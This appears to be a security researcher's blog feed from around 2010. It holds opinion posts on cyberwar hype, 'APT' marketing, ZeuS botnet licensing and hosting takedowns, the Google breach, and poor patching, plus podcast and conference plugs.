<p><img class="alignright" src="http://upload.wikimedia.org/wikipedia/commons/thumb/d/d1/Syrian_Reactor_Before_After.jpg/290px-Syrian_Reactor_Before_After.jpg" alt="" width="248" height="187" />Interestingly enough &#8211; true cyberwar acts failed to truly make a media hit (look for the <a href="http://en.wikipedia.org/wiki/Operation_Orchard">alleged bombing of the alleged nuclear plant in Syria by alleged Israeli F-16s&#8230;</a> These allegedly did not show up on any radar screen. Not in Turkey, nor in Syria or Lebanon. Go figure <img src='http://www.iamit.org/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ).</p>
<p>But the real cherry on top has been APT! When I first heard that there was an APT and it was very malicious and scary I thought that there goes my favorite Linux distribution&#8230; Yeah &#8211; I’m such a sucker for the media <img src='http://www.iamit.org/blog/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /><br />
Too bad that the latest APT (and that’s the last time you&#8217;ll see this acronym here) is just another FUD-happy name for &#8211; wait for it &#8211; TROJANS!!! Trojans, and rootkits, and keyloggers and viruses!!! run for your lives&#8230;<br />
Seriously now. Whether state sponsored (possible&#8230;) or just another highly targeted criminal attack on select organizations (seen it before, handling some on a daily basis, not calling it funny names&#8230;), we go back again to the FUD motivation.<br />
According to the latest one (FUD that is), CyberWar is full of APT (broke my promise. deal with it), and it can only be protected by &#8211; you guessed it &#8211; AntiVirus! (or whatever new fancy names our beloved vendors find for the same software they have been pushing us in the last 20 years).</p>
<p>So cheer up!  The sky is not falling. It&#8217;s just a little cloudy, and the usual bad people are still around doing their thing. The only difference is that you need to realize that ANYONE can hire these bad guys. Yes &#8211; even your government (or whatever shell company used to disguise it). Just like we are used to do with more conventional arms dealing.</p>
<p>Hope this was some food for thought. For more on the topic you can check out my past coverage of Cybercrime (<a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Amit">BlackHat</a>, <a href="http://www.defcon.org/html/defcon-17/dc-17-speakers.html#Amit">DefCon</a>, <a href="http://hackerhalted.com/Conference/Speakers/IftachIanAmit/tabid/114/Default.aspx">HackerHalted</a>, <a href="http://www.newcamelotcouncil.com/SpeakersEN.html">Excaliburcon</a>, etc.) and the up-and-coming coverage of Cyber[Crime|War] connections in <a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-briefings.html#Amit">BlackHat EU</a> and the <a href="http://conference.first.org/Program/program.aspx">FIRST conference</a>.</p>


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		<description><![CDATA[Just a quick FYI &#8211; a new post by yours truly has been published over at fudsec.com. One of my favorite blogs with some really cool contents (still wondering how I ended up publishing there ) Have fun reading: http://fudsec.com/cyberfudfare Related posts:Cyber[FUD]Fare &#8211; repost from fudsec.com ExoticLiability podcast interview BlueHat post on the state of [...]


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			<content:encoded><![CDATA[<p><img class="alignright" src="http://files.posterous.com/user_profile_pics/88825/sampf65ea398a49eb76d.jpg" alt="" width="75" height="75" />Just a quick FYI &#8211; a new post by yours truly has been published over at fudsec.com. One of my favorite blogs with some really cool contents (still wondering how I ended up publishing there <img src='http://www.iamit.org/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  )</p>
<p>Have fun reading: <a href="http://fudsec.com/cyberfudfare">http://fudsec.com/cyberfudfare</a></p>


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		<description><![CDATA[Coverage of the latest developments in the ZeuS botnet software licensing, and fighting the botnet internet connectivity.


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			<content:encoded><![CDATA[<p>In my recent coverage of CyberCrime and CyberWar, I have neglected my old &#8220;friends&#8221; at the criminal world and gave them a little less attention (at least on their consumer business). It&#8217;s time to take a look back and see what are they up to.</p>
<p>Well &#8211; it might seem as non-news for readers of this blog (or people who were in my presentations at <a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Amit">BlackHat</a>, <a href="http://defcon.org/html/links/dc-archives/dc-17-archive.html#Amit">DefCon</a>, <a href="http://hackerhalted.com/Conference/Speakers/IftachIanAmit/tabid/114/Default.aspx">HackerHalted</a>, <a href="http://www.newcamelotcouncil.com/SpeakersEN.html">ExcaliburCon</a>, <a href="http://technet.microsoft.com/en-us/security/cc748656.aspx">BlueHat</a>, or in other venues), but a couple of interesting sound-bytes may catch your eye:</p>
<p><img class="  alignright" title="That's how $205M look like..." src="http://www.justice.gov/dea/photos/operations/205million_fig1.jpg" alt="" width="300" height="225" /></p>
<p>1. ZeuS (good ol&#8217;e friend, how I missed debugging thou) has implemented licensing schema. The schema enforces that the licensed software be only used on licensed machines. News? yes, kind&#8217;a. Remember Neosploit (another personal pet-peeves)? Then you must remember the licensing scheme there as well. Pretty close to what ZeuS just introduced. And they say that the world has stopped sharing. pffff. And you can quote me on that. As anyone who ever took more than a brief look at how these things operate, the only takeaway possible is simple: It&#8217;s all about the money (hence &#8211; license enforcement is key. Ask Microsoft <img src='http://www.iamit.org/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  )</p>
<p>2. Staying with ZeuS, there has been quite a lot of effort in the past few months to take down one of the main autonomous systems providing upstream for some of the biggest C&amp;C&#8217;s hosting ZeuS. You can read more about it <a href="http://blogs.zdnet.com/security/?p=5761">here</a>, and <a href="http://www.theregister.co.uk/2010/03/11/zeus_botnets_resurrected/">here</a>. Notable effort indeed, as TORYAK-AS has been on the hit list for ZeuS tracking researchers for a long time. Only thing is &#8211; there&#8217;s money here again. Which means that even taking down the entire AS won&#8217;t really take down the botnet as it relies on bulletproof hosting which means that there will ALWAYS be alternate routes leading to it. That&#8217;s how things work. Just like trying to fight trafficking and drug trade. As long as there is demand, there will be supply. You dry out one supplier, the economy will just pop out another one. It&#8217;s all about the money.</p>
<p>So, I&#8217;ll finish up with a couple of reassuring words. We are not done yet. We like fighting the technical battle (I&#8217;ll admit that I had my fun doing so, and still have fun when called to duty), but the real battle won&#8217;t be won in that playing field. Remember Al (Capone) &#8211; it didn&#8217;t take the DEA or FBI to take him down. It was the IRS&#8230;</p>


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		<description><![CDATA[OK, so a quick shameless plug for me and a couple of good friends at EL: I had the pleasure of throwing it all out with the ExoticLiability crew over the weekend, which ended up in a pretty cool podcast. Check it out at www.exoticliability.com (episode 51). May not be completely safe for listening to at [...]


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			<content:encoded><![CDATA[<p><img class="alignright" title="ExoticLiability" src="https://dl.dropbox.com/u/1545684/EL2.jpg" alt="ExoticLiability  logo" width="173" height="69" />OK, so a quick shameless plug for me and a couple of good friends at EL: I had the pleasure of throwing it all out with the ExoticLiability crew over the weekend, which ended up in a pretty cool podcast. Check it out at <a href="http://www.exoticliability.com">www.exoticliability.com</a> (episode 51).</p>
<p>May not be completely safe for listening to at work (especially not with speakers&#8230;).</p>
<p>On that note (of shameless plugs) and as we noted on the podcast, if any of you know (or are) potential sponsors for <a href="http://www.securitybsides.org/BSidesLasVegas">BSides</a>, and <a href="http://www.newcamelotcouncil.com/">ExcaliburCon</a> (especially if you have or want exposure in the Chinese market) feel free to contact us &#8211; g0d be my witness it&#8217;s not really expensive to sponsor, but critical as these shows are not cheap&#8230;</p>
<p>Closing up for now (until later this week probably &#8211; expect some new material), just a heads up on the upcoming speaking engagements:</p>
<p>April 14-15 at <a href="http://www.blackhat.com/html/bh-eu-10/bh-eu-10-home.html">BlackHat</a> EU in Barcelona, Spain.</p>
<p>June 13-18 at <a href="http://conference.first.org/">FIRST</a> in Miami FL.</p>
<p>More to come soon&#8230;</p>


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		<description><![CDATA[Aha! Can&#8217;t believe I managed to avoid the unbelievable hype flood that swept across the interwebs in the last month. And to think that the last post (long overdue, I know&#8230; had REALLY good reasons for not being able to post anything) was somewhat oracleish in predicting that this would be the focus of this [...]


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			<content:encoded><![CDATA[<p>Aha! Can&#8217;t believe I managed to avoid the unbelievable hype flood that swept across the interwebs in the last month. And to think that the last post (long overdue, I know&#8230; had REALLY good reasons for not being able to post anything) was somewhat oracleish in predicting that this would be the focus of this year.</p>
<p>Just to set the stage right &#8211; we are at a point where I just saw a USA Today &#8220;Money&#8221; section front page article on how Google&#8217;s engagement with the NSA post the breach will affect the security vendor market, and a few VCs were also quoted to the fact that we will be seeing IPOs this year that will ride this trend.</p>
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<p>Overhyped &#8211; definitely. Real &#8211; just as it&#8217;s overhyped. You must be asking then what to do? If the hype is too much, then there must not be so much behind these scary global cyberwar threats! Not exactly &#8211; the threat exists, and countries do deal with making sure they have an edge over everyone else (see how I didn&#8217;t use adversaries&#8230; hint, hint <img src='http://www.iamit.org/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ), but at the same time this has been happening for years now.</p>
<p>The news here is somewhat lukewarm when compared to the hype. The news is that it is becoming common knowledge that companies tend to miserably fail when keeping their own intellectual and informational assets under wraps. The news is that even the &#8220;do no evil&#8221; Google(tm) have their own share of problem using old(tm) (or should I say pathetically insecure?) software inside the Googleplex.</p>
<p>But let&#8217;s dig a little deeper past the hype &#8211; have anyone heard of the fourty-something other &#8220;big&#8221; companies that were affected? have anyone heard of the thousands of companies that deal with data of sensitive nature (whether they know it or not) that also have a big job ahead of them dodging the flak from their local government trying to make sure the exposure is somewhat lessened? Probably not.</p>
<p>I&#8217;ve have the questionable pleasure of assisting some of these entities &#8211; which have anywhere between loose and close ties to local and federal government (either providing data at will, or being relied on for compiling national threat level information at varying level of the threat modeling). Without getting into any specific details I can truly say that I was simply disappointed. A lot of good people trying to do good things, but ev</p>
<p>entually (as always) a big fat failure due to some sideline error brings the whole security architecture down. Things as easy as applying service packs, eliminating use of old un-pached software (IE6 &#8211; are you still here? I think I to</p>
<p>ld you to get out and never come back again!) and just plain good-ole&#8217; malpractice.</p>
<p>Without sounding too dreary (I&#8217;m sure the horrible weekend east-coast weather is doing that to me) we still have our work cut out for us. As long as people (non-security-industry ones) are ignorant regarding the implications of their actions in an all-connected world (nice evasion of &#8220;cyberworld&#8221;!), holes will be cut open in any modern security design &#8211; no matter how well it was thought to be, or how much money was thrown into it. With almost zero-cost, we managed to implement an &#8220;idiot-proof&#8221; system that would just stop these things from happening for one of the companies&#8230;</p>
<p>What can you do? remember how we were taught to plan for the worst &#8211; count people in that too. Your people. They may be the smartest guys in accounting, or marketing, or production, but in terms of information assurance they can be your worst enemy (no offense guys, but it&#8217;s just like that&#8230;).</p>


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